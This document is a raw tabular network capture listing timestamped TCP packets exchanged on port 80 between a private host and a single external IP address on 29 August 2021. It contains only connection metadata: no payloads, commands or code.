Aug 29, 2021 22:27:43.457865953 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.457917929 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.457947016 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.481710911 CEST	49819	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.489484072 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.489540100 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.489548922 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.489552975 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.489605904 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.489648104 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.489727020 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.489763975 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.489813089 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.489844084 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.490319014 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.490382910 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.514062881 CEST	80	49819	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.514158010 CEST	49819	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.514678001 CEST	49819	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.521141052 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.521159887 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.521173000 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.521203995 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.521207094 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.521244049 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.521264076 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.521452904 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.521466970 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.521512032 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.521558046 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.521570921 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.521719933 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.521907091 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.521948099 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.521961927 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.522023916 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.546675920 CEST	80	49819	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.552896023 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.553014994 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.553029060 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.553389072 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.553541899 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.553739071 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.588099957 CEST	80	49819	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.588156939 CEST	49819	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.592315912 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.592391014 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.698952913 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.699381113 CEST	49819	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.700401068 CEST	49820	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.731710911 CEST	80	49818	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.731770039 CEST	49818	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.732656002 CEST	80	49819	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.732713938 CEST	49819	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.733541012 CEST	80	49820	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.733633041 CEST	49820	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.750334024 CEST	49820	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.782474995 CEST	80	49820	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.789623022 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.824029922 CEST	80	49820	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.824054003 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.824103117 CEST	49820	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.824136972 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.825159073 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.825229883 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.825370073 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.825443983 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.859715939 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.859731913 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.859740973 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.859786034 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.859816074 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.859843969 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.859976053 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.860042095 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.860138893 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.860214949 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.861829996 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.894870043 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.894917011 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.894941092 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.894965887 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.894992113 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.895014048 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.895059109 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.895150900 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.895211935 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.896564007 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.896591902 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.896653891 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.896682024 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.929996014 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.930013895 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.930028915 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.930041075 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.930052042 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.930105925 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.930140018 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.930202007 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.930345058 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.930452108 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.930658102 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.930850029 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.931013107 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.931339025 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.931355000 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.931369066 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.931381941 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.931396008 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.933285952 CEST	49820	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.934921980 CEST	49822	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.965857983 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.965878963 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.965892076 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.965903997 CEST	80	49820	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.965991020 CEST	49820	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.969937086 CEST	80	49822	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:43.972107887 CEST	49822	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:43.973074913 CEST	49822	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.003801107 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.005279064 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.009633064 CEST	80	49822	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.050615072 CEST	80	49822	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.050682068 CEST	49822	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.181080103 CEST	49822	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.181189060 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.183258057 CEST	49823	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.216128111 CEST	80	49823	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.216162920 CEST	80	49821	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.216181993 CEST	80	49822	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.216244936 CEST	49823	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.216293097 CEST	49821	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.216447115 CEST	49822	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.230236053 CEST	49823	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.236454964 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.264153004 CEST	80	49823	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.271708012 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.271878004 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.274722099 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.274864912 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.275065899 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.275419950 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.304071903 CEST	80	49823	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.304274082 CEST	49823	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.309910059 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.311400890 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.311431885 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.311459064 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.311484098 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.311508894 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.311511040 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.311552048 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.311619043 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.311647892 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.311659098 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.346882105 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.348050117 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.348119974 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.348156929 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.348181963 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.348205090 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.348236084 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.348236084 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.348267078 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.348292112 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.348299026 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.348320007 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.348335981 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.348345995 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.348361969 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.348381042 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.348421097 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.383558035 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.383585930 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.383713007 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.384002924 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.384085894 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.384350061 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.385459900 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.386961937 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.387053967 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.387057066 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.387168884 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.387391090 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.387422085 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.387447119 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.387474060 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.387661934 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.387686968 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.387713909 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.420087099 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.421766043 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.421797991 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.421813965 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.421830893 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.421854973 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.422342062 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.423269987 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.423512936 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.431412935 CEST	49823	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.461492062 CEST	49825	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.462884903 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.462981939 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.464771032 CEST	80	49823	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.464859009 CEST	49823	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.494008064 CEST	80	49825	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.494184971 CEST	49825	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.496656895 CEST	49825	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.529300928 CEST	80	49825	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.571957111 CEST	80	49825	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.572040081 CEST	49825	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.663379908 CEST	49825	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.663764000 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.664861917 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.683464050 CEST	49827	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.695681095 CEST	80	49825	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.695808887 CEST	49825	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.697124958 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.697233915 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.698702097 CEST	80	49824	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.698766947 CEST	49824	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.703342915 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.703464031 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.703607082 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.703680992 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.718496084 CEST	80	49827	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.718705893 CEST	49827	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.719124079 CEST	49827	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.735393047 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.735414028 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.735733032 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.735749006 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.735836983 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.735905886 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.735920906 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.735969067 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.735999107 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.755032063 CEST	80	49827	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.767999887 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.768089056 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.768094063 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.768218994 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.768260956 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.768277884 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.768326998 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.768354893 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.768357992 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.768461943 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.797847986 CEST	80	49827	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.798348904 CEST	49827	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.800338984 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.800374985 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.800429106 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.800493956 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.800563097 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.800590038 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.800648928 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.800682068 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.800714970 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.800931931 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.801040888 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.801085949 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.801171064 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.833081007 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.833118916 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.833146095 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.833168030 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.833194971 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.833220005 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.833273888 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.886362076 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.886502028 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.901041985 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.901357889 CEST	49827	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.902736902 CEST	49828	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.933712959 CEST	80	49826	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.933814049 CEST	49826	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.934595108 CEST	80	49828	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.934720039 CEST	49828	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.935471058 CEST	49828	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.936419964 CEST	80	49827	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:44.937829018 CEST	49827	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:44.967286110 CEST	80	49828	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.009419918 CEST	80	49828	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.010217905 CEST	49828	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.085465908 CEST	49828	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.086400986 CEST	49829	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.117691040 CEST	80	49828	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.117892027 CEST	49828	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.119929075 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.120093107 CEST	49829	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.120871067 CEST	49829	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.120940924 CEST	49829	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.121165037 CEST	49829	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.121269941 CEST	49829	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.123886108 CEST	49830	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.154455900 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.154479027 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.154488087 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.154536963 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.154658079 CEST	49829	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.154735088 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.154798985 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.154895067 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.154912949 CEST	49829	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.155014038 CEST	49829	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.158776045 CEST	80	49830	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.159977913 CEST	49830	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.161400080 CEST	49830	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.188325882 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.188349009 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.188363075 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.188374996 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.188391924 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.188471079 CEST	49829	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.188586950 CEST	49829	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.188632965 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.188726902 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.188741922 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.188836098 CEST	49829	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.188925982 CEST	49829	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.188951015 CEST	49829	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.196230888 CEST	80	49830	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.222193956 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.222316027 CEST	49829	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.222387075 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.222417116 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.222434044 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.222450972 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.222565889 CEST	49829	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.222609043 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.222666025 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.222738981 CEST	80	49829	46.17.96.36	192.168.2.4
